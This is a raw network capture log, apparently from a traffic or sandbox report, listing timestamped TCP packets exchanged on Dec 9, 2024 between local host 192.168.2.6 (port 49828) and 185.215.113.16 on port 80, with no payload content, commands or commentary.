Dec 9, 2024 18:20:52.250721931 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.251698017 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.251739979 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.251872063 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.251912117 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.253021002 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.253066063 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.253153086 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.253194094 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.253959894 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.254009008 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.254070044 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.254110098 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.254887104 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.254931927 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.255168915 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.255213976 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.255697966 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.255740881 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.256236076 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.256279945 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.256661892 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.256709099 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.256814003 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.256855965 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.257630110 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.257672071 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.257776976 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.257812977 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.258534908 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.258580923 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.258980036 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.259021997 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.259558916 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.259615898 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.259985924 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.259999037 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.260039091 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.260976076 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.261024952 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.261075974 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.261117935 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.262036085 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.262082100 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.262140989 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.262181044 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.263015985 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.263055086 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.263581038 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.263624907 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.263941050 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.263953924 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.263983011 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.264003038 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.265028000 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.265079975 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.265321970 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.265364885 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.266175985 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.266215086 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.266294956 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.266339064 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.266973972 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.267015934 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.267153978 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.267195940 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.267965078 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.268018007 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.268080950 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.268122911 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.268992901 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.269042015 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.269151926 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.269193888 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.270131111 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.270195961 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.270548105 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.270593882 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.271246910 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.271294117 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.271466970 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.271512985 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.272135019 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.272181034 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.272267103 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.272310019 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.273251057 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.273304939 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.273758888 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.273811102 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.274214983 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.274259090 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.274600983 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.274646997 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.275264978 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.275320053 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.275430918 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.275475025 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.276355982 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.276406050 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.276596069 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.276645899 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.277406931 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.277452946 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.277645111 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.277690887 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.278631926 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.278645039 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.278680086 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.278697014 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.279460907 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.279508114 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.279649019 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.279692888 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.280535936 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.280582905 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.336831093 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.336970091 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.337012053 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.337053061 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.337363958 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.337404966 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.337568045 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.337618113 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.338423014 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.338474035 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.339047909 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.339096069 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.339505911 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.339519978 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.339553118 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.339577913 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.340701103 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.340753078 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.341206074 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.341253996 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.342387915 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.342401028 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.342447042 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.342459917 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.342899084 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.342950106 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.343013048 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.343051910 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.343807936 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.343858957 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.344010115 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.344055891 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.344789028 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.344836950 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.345312119 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.345360994 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.345828056 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.345876932 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.346478939 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.346524954 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.346874952 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.346924067 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.347018957 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.347065926 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.348223925 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.348274946 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.348510027 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.348556995 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.349697113 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.349703074 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.349914074 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.350344896 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.350405931 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.350608110 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.350658894 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.351305008 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.351352930 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.351437092 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.351484060 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.352200985 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.352251053 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.352426052 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.352469921 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.353115082 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.353163004 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.353568077 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.353622913 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.354224920 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.354274035 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.354536057 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.354620934 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.355308056 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.355326891 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.355356932 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.355376959 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.356364012 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.356376886 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.356415033 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.357426882 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.357476950 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.357737064 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.357785940 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.358401060 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.358448982 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.358582973 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.358629942 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.359508991 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.359555960 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.360064030 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.360109091 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.360620975 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.360666037 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.360711098 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.360750914 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.361591101 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.361634970 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.361741066 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.361788988 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.362679958 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.362708092 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.362730026 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.362759113 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.364006042 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.364056110 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.364353895 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.364402056 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.364753962 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.364801884 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.365020037 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.365067005 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.366482019 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.366498947 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.366532087 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.366549015 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.366923094 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.366967916 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.367221117 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.367266893 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.367907047 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.367949963 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.368026972 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.368072033 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.368937969 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.368989944 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.369107962 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.369153976 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.369952917 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.370002985 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.370141983 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.370191097 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.371076107 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.371126890 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.371413946 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.371462107 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.372121096 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.372164965 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.372235060 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.372279882 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.373172998 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.373219967 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.373306990 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.373357058 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.374593973 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.374612093 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.374644995 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.374665976 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.375286102 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.375332117 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.375453949 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.375500917 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.376276970 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.376322985 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.376653910 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.376701117 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.377558947 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.377602100 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.378000975 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.378047943 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.378834009 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.378880978 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.379082918 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.379127979 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.380070925 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.380119085 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.380287886 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.380336046 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.381696939 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.381745100 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.382122993 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.382164955 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.383006096 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.383057117 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.383274078 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.383332014 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.383949995 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.383997917 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.384176970 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.384217978 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.384880066 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.384927988 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.385065079 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.385112047 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.385999918 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.386045933 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.386377096 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.386423111 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.386843920 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.386893988 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.386934042 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.386977911 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.388044119 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.388092995 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.388170004 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.388210058 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.389003038 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.389049053 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.389132023 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.389183044 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.390043974 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.390084028 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.390237093 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.390280008 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.391089916 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.391153097 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.391217947 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.391268015 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.392050982 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.392102957 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.392493010 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.392545938 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.392977953 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.393029928 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.529568911 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.529627085 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.529652119 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.529691935 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.529877901 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.529890060 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.529921055 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.529936075 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.530493975 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.530535936 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.530834913 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.530886889 CET	49828	80	192.168.2.6	185.215.113.16
